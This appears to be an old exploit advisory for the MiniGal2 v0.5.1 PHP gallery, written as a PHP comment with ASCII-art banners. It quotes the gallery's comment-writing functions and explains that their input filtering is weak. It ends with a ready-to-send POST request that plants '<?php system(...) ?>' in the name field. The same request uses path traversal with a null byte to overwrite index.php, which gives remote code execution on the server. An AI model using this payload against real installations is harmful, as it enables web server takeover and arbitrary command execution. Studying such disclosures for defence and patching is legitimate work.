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<?php
/**********000000000000----------------------000\\\
/*-00--------++++++++++++++++++_______________)_)_________
-- --
- MiniGal2(MG2) v0.5.1 remote Code Injection |
___ Z okazji urodzin ¿yczê sobie wszystkiego zajebistego
Zawsze na odwrót lol '''''_---"
___)()())0 ------------
\ A-L | """"""
'--==9** Victoria heh .
------ gr:SID.PSYCHO ;> and rest and ALL
---------++++++++++++=================))
___ -- =======--
./..................
=======--////-
VULN:[includes\mg2_functions.php]
function writecomments($filename) __LINE 555
---------
function writecomments($filename) {
$filename = "pictures/" . $filename;
unset($buffer);
if (count($this->comments) != 0) {
for ($i=0; $i < count($this->comments); $i++){
for ($j=0; $j < count($this->comments[$i]); $j++){
$buffer .= "*" . $this->comments[$i][$j];
}
$buffer .= "\n";
$fd = fopen($filename,"w+");
if (flock($fd, LOCK_EX)) { // do an exclusive lock
ftruncate($fd, 0);
fwrite($fd, $buffer);
flock($fd, LOCK_UN); // release the lock
fclose($fd);
$this->log("Wrote comment to '$filename'");
} else {
$this->log("ERROR: Could not lock commentfile '$filename' for writing");
echo "MG2 ERROR: Could not lock $filename (function 'writecomments')";
}
}
} else unlink($filename);
}
/\/\/\/\/\/\/\/\/\/\/\
function addcomment() {
$_REQUEST['filename'] = $this->charfix($_REQUEST['filename']);
$_REQUEST['input'] = $this->charfix($_REQUEST['input']);
$_REQUEST['email'] = $this->charfix($_REQUEST['email']);
$_REQUEST['name'] = $this->charfix($_REQUEST['name']);
$_REQUEST['input'] = strip_tags($_REQUEST['input'], "<b></b><i></i><u></u><strong></strong><em></em>");
$_REQUEST['input'] = str_replace("\n","<br />",$_REQUEST['input']);
$_REQUEST['input'] = str_replace("\r","",$_REQUEST['input']);
if ($_REQUEST['input'] != "" && $_REQUEST['name'] != "" && $_REQUEST['email'] != "") {
$this->readcomments("pictures/" . $_REQUEST['filename'] . ".comment");
$comment_exists = $this->select($_REQUEST['input'],$this->comments,3,1,0);
$comment_exists = $this->select($_REQUEST['name'],$comment_exists,1,1,0);
$comment_exists = $this->select($_REQUEST['email'],$comment_exists,2,1,0);
if (count($comment_exists) == 0) {
$this->comments[] = array(time(), $_REQUEST['name'], $_REQUEST['email'], $_REQUEST['input']);
$this->writecomments($_REQUEST['filename'] . ".comment");
.....etc //
................-------------------------------------------=====================
==== As you can se THE input data is not enough filtered
We can write self code in to the file
by sending proper POSTS
ex:
POST input=a&name=/ <?php system('dir'); ?> // &email=c&action=addcomment&filename=../index.php%00&id=5
THE END
-------*/
// ALFONS LUJA just 4 fUn :P
?>
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